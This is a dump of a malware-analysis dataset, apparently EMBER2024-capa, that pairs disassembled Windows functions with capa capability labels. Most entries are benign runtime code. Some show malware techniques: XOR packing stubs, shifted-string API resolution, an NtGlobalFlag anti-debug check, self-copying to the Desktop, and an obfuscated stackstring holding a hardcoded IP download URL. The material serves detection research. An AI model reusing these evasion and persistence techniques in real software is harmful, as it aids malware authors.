joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416b70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x416b9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x416b9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x41fb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416e52
and dword [ebp - 0x14], 0
cmp dword [0x46d558], 0
mov dword [ebp - 0x18], eax
jne 0x41fc1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41fcc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41fcc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46d558], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x46d55c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x46d560], eax
call edi
push eax
call esi
mov dword [0x46d568], eax
test eax, eax
je 0x41fc1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x46d564], eax
mov eax, dword [0x46d564]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41fc78
cmp dword [0x46d568], ecx
je 0x41fc78
push eax
call esi
push dword [0x46d568]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41fc78
test ebx, ebx
je 0x41fc78
call edi
test eax, eax
je 0x41fc6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41fc6f
test byte [ebp - 8], 1
jne 0x41fc78
or dword [ebp + 0x10], 0x200000
jmp 0x41fcab
mov eax, dword [0x46d55c]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41fcab
mov eax, dword [0x46d560]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46d558]
call esi
test eax, eax
je 0x41fcc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41fcc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004113cb
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x23d42728
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..text
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x7b1d6af4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x409f2ad0
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x6ee33cc0
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10002040
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor esi, esi
push str.Vr121_ckk
call edi
test eax, eax
jle 0x10002072
nop word [eax + eax]
inc byte [esi + str.Vr121_ckk]
inc esi
push str.Vr121_ckk
call edi
cmp esi, eax
jl 0x10002060
push str.Kn_cKhaq_qx_
xor esi, esi
call edi
test eax, eax
jle 0x10002092
nop
inc byte [esi + str.Kn_cKhaq_qx_]
inc esi
push str.Kn_cKhaq_qx_
call edi
cmp esi, eax
jl 0x10002080
push str.Kn_cKhaq_qx_
push dword [0x10028c7c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Vr121_ckk
mov dword [0x10028cac], eax
call eax
mov ecx, str.XTBTubsuvq
mov ebx, eax
mov dword [0x10028c80], ebx
xor edx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100020c1
sub ecx, esi
je 0x100020ed
nop dword [eax]
dec byte [edx + str.XTBTubsuvq]
mov ecx, str.XTBTubsuvq
inc edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100020e0
sub ecx, esi
cmp edx, ecx
jb 0x100020d0
push str.XTBTubsuvq
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call ebx
push str.VR_Rnbjds_
mov dword [0x10028ca8], eax
xor esi, esi
call edi
test eax, eax
jle 0x10002122
nop dword [eax]
inc byte [esi + str.VR_Rnbjds_]
inc esi
push str.VR_Rnbjds_
call edi
cmp esi, eax
jl 0x10002110
push str.VR_Rnbjds_
push dword [0x10028c80]
call ebx
mov ecx, str.XTBDpoofdu
mov dword [0x10028ca4], eax
xor edx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002140
sub ecx, esi
je 0x1000216d
nop dword [eax + eax]
dec byte [edx + str.XTBDpoofdu]
mov ecx, str.XTBDpoofdu
inc edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002160
sub ecx, esi
cmp edx, ecx
jb 0x10002150
push str.XTBDpoofdu
push dword [0x10028c80]
call ebx
push str.dmptftpdlfu
mov dword [0x10028ca0], eax
xor esi, esi
call edi
test eax, eax
jle 0x100021a2
nop dword [eax]
dec byte [esi + str.dmptftpdlfu]
inc esi
push str.dmptftpdlfu
call edi
cmp esi, eax
jl 0x10002190
push str.dmptftpdlfu
push dword [0x10028c80]
call ebx
mov ecx, str.VR_Bkd_mto
mov dword [0x10028c9c], eax
xor edx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100021c0
sub ecx, esi
je 0x100021ed
nop dword [eax + eax]
inc byte [edx + str.VR_Bkd_mto]
mov ecx, str.VR_Bkd_mto
inc edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100021e0
sub ecx, esi
cmp edx, ecx
jb 0x100021d0
push str.VR_Bkd_mto
push dword [0x10028c80]
call ebx
push str.sfdw
mov dword [0x10028c98], eax
xor esi, esi
call edi
test eax, eax
jle 0x10002222
nop dword [eax]
dec byte [esi + str.sfdw]
inc esi
push str.sfdw
call edi
cmp esi, eax
jl 0x10002210
push str.sfdw
push dword [0x10028c80]
call ebx
pop edi
pop esi
mov dword [0x10028c94], eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003720
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018dad
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10027008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1000471a
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.100057fc
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 1
mov ebx, dword [ebp - 0x10]
mov dword [ebp + 8], esi
mov dword [ebx], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
cmp dword [esi + 0x14], 0x10
jb 0x100037ef
mov eax, dword [esi]
mov dword [ebp + 8], eax
mov esi, dword [esi + 0x10]
xor eax, eax
cmp esi, 0x7fffffff
ja 0x10003893
test esi, esi
je 0x10003877
cmp esi, 0x1000
jb 0x1000382f
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x10003898
push eax
call fcn.1000471a
add esp, 4
test eax, eax
je 0x1000389d
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x1000383a
push esi
call fcn.1000471a
add esp, 4
mov edi, eax
push esi
push dword [ebp + 8]
push edi
call fcn.10006a70
mov eax, dword [ebx + 0xc]
lea ecx, [edi + esi]
mov dword [ebx + 0x38], ecx
add esp, 0xc
mov dword [eax], edi
mov eax, dword [ebx + 0x1c]
mov dword [eax], edi
mov eax, dword [ebx + 0x2c]
mov dword [eax], esi
mov eax, dword [ebx + 0x10]
mov ecx, dword [ebx + 0x38]
sub ecx, edi
mov dword [eax], edi
mov eax, dword [ebx + 0x20]
mov dword [eax], edi
mov eax, dword [ebx + 0x30]
mov dword [eax], ecx
mov eax, 1
jmp 0x1000387a
mov dword [ebx + 0x38], eax
mov dword [ebx + 0x3c], eax
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.10004fe6
call fcn.10001170
call fcn.1000969a
int3
Function at 0x1000f0ff
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000f19c
push ebx
push esi
call fcn.1000f0c8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000f011
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000f149
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000f19b
push edi
push eax
call fcn.1000de05
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000f169
call fcn.1000c0b2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000f19a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000f011
add esp, 0x20
test eax, eax
jne 0x1000f188
push edi
call fcn.1000c0b2
jmp 0x1000f190
push ebx
call fcn.1000c0b2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000f5e3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001d160
push 0x1001d158
push str.FlsAlloc
push 0x1e
call fcn.1000f4ad
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000f617
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001a138]
call esi
jmp 0x1000f61d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000f661
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001d170
push 0x1001d168
push str.FlsGetValue
push 0x20
call fcn.1000f4ad
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000f698
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001a138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x401767
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x90
lea ecx, [ebp - 0x25]
call fcn.00406d21
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x24], 0x68
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x70
mov byte [ebp - 0x20], 0x3a
mov byte [ebp - 0x1f], 0x2f
mov byte [ebp - 0x1e], 0x2f
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x37
mov byte [ebp - 0x1b], 0x2e
mov byte [ebp - 0x1a], 0x31
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x34
mov byte [ebp - 0x17], 0x2e
mov byte [ebp - 0x16], 0x34
mov byte [ebp - 0x15], 0x31
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x32
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x30
mov byte [ebp - 0x10], 0x3a
mov byte [ebp - 0xf], 0x37
mov byte [ebp - 0xe], 0x30
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x31
mov byte [ebp - 0xb], 0x2f
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x70
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x61
mov byte [ebp - 3], 0x74
mov byte [ebp - 2], 0
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x78]
call fcn.00407100
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x30]
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x70]
call fcn.00406e95
mov byte [ebp - 0x29], 0x46
push dword [ebp - 0x29]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00401dbf
add esp, 0xc
push str.Encrypted_string:
push 0x448670
call fcn.004021b9
pop ecx
pop ecx
lea ecx, [ebp - 0x58]
push ecx
push eax
call fcn.0040218b
pop ecx
pop ecx
mov dword [ebp - 0x34], eax
push 0x405e19
mov ecx, dword [ebp - 0x34]
call fcn.004082e6
push dword [ebp - 0x29]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00401dbf
add esp, 0xc
push str.Decrypted_string:
push 0x448670
call fcn.004021b9
pop ecx
pop ecx
lea ecx, [ebp - 0x90]
push ecx
push eax
call fcn.0040218b
pop ecx
pop ecx
mov dword [ebp - 0x38], eax
push 0x405e19
mov ecx, dword [ebp - 0x38]
call fcn.004082e6
lea ecx, [ebp - 0x70]
call fcn.0040e34c
push eax
call fcn.00401d49
pop ecx
lea ecx, [ebp - 0x90]
call fcn.00407cb4
lea ecx, [ebp - 0x58]
call fcn.00407cb4
lea ecx, [ebp - 0x70]
call fcn.00407cb4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x40c151
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
jmp 0x40c162
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jae 0x40c185
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
imul eax, dword [ebp + 8], 0x1000193
mov dword [ebp + 8], eax
jmp 0x40c15b
mov eax, dword [ebp + 8]
leave
ret

Function at 0x410758
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x68]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x70
jne 0x41077c
push 1
call fcn.004204a2
leave
ret
Function at 0x415a6f
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push str.C:UsersDe
lea ecx, [ebp - 0x20]
call fcn.00406e29
push str.faultDes
lea ecx, [ebp - 0x20]
call fcn.00412b29
push str.ktop
lea ecx, [ebp - 0x20]
call fcn.00412b29
push str._ath
lea ecx, [ebp - 0x20]
call fcn.00412b29
push str.letes
lea ecx, [ebp - 0x20]
call fcn.00412b29
push str..exe
lea ecx, [ebp - 0x20]
call fcn.00412b29
push 0x104
lea eax, [ebp - 0x124]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x20]
call fcn.0040e34c
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.004208c0
pop ecx
pop ecx
test eax, eax
jne 0x415b02
lea ecx, [ebp - 0x20]
call fcn.00407cb4
jmp 0x415b9e
mov dword [ebp - 4], 0x974
mov eax, 0xbcaeac
sub eax, dword [0x44854c]
push eax
push dword [ebp - 4]
push 0x446030
call fcn.0040151d
add esp, 0xc
push dword [ebp - 4]
push 0x446030
call fcn.0041550d
pop ecx
pop ecx
push 0
lea ecx, [ebp - 0x20]
call fcn.0040e34c
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x415b84
mov dword [ebp - 8], 0x976
mov eax, 0x86060
sub eax, dword [0x44854c]
push eax
push dword [ebp - 8]
push 0x4469a8
call fcn.0040151d
add esp, 0xc
push dword [ebp - 8]
push 0x4469a8
call fcn.0041550d
pop ecx
pop ecx
jmp 0x415b96
push str.____CopyFile_failed
call fcn.004016d9
pop ecx
push 2
call fcn.004204a2
lea ecx, [ebp - 0x20]
call fcn.00407cb4
leave
ret

Function at 0x417a0a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x417a2b
jl 0x417a22
test edi, edi
jne 0x417a2b
xor eax, eax
xor edx, edx
jmp 0x417aec
cmp dword [ebx + 0x38], 0
je 0x417a40
push eax
push edi
push dword [ebp + 8]
call fcn.00417af2
jmp 0x417aec
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x417a87
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x417a87
cmp eax, edi
jb 0x417a61
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00419d80
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x417a8d
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x417ae1
mov ecx, ebx
call fcn.004172aa
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x417acc
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00421d05
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x417ae1
jmp 0x417a9f
test edx, edx
je 0x417ae1
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00421d05
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x417dd5
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00417db1
pop esi
leave
ret 8

Function at 0x4198a2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4198e1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4198e1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4198e1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4198e1
cmp dword [ecx + 0x74], 0xe
jbe 0x4198e1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42644c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43af58
push 0x43af50
push str.FlsAlloc
push 0x1f
call fcn.004262b7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x426480
push dword [ebp + 8]
mov ecx, esi
call dword [0x4361a4]
call esi
jmp 0x426486
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4264ca
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43af68
push 0x43af60
push str.FlsGetValue
push 0x21
call fcn.004262b7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x426501
push dword [ebp + 8]
mov ecx, esi
call dword [0x4361a4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x426509
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43af70
push 0x43af68
push str.FlsSetValue
push 0x22
call fcn.004262b7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x426543
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4361a4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x429d25
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00419d50
mov eax, dword [0x447334]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0042797f
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x429d67
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x429ec3
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00435460
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4490a8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0042ad22
mov ecx, dword [esi*4 + 0x4490a8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x429ebc
cmp eax, dword [ecx + edi + 0x24]
jne 0x429ebc
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x429ebc
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042ad22
add esp, 0x14
test edx, edx
jl 0x429ebc
jg 0x429e32
test eax, eax
jb 0x429ebc
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x429ebc
jl 0x429e4c
cmp dword [ebp - 0x1008], eax
ja 0x429ebc
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x429e6a
test ebx, ebx
je 0x429ea3
cmp ecx, edi
jae 0x429ea3
mov al, byte [ecx]
cmp al, 0xd
jne 0x429e84
lea eax, [edi - 1]
cmp ecx, eax
jae 0x429e90
cmp byte [ecx + 1], 0xa
jne 0x429e90
inc ecx
jmp 0x429e90
movzx eax, al
movsx eax, byte [eax + 0x4475b0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x429e6a
cmp edx, ebx
jne 0x429e6a
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x429ec1
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00419449
leave
ret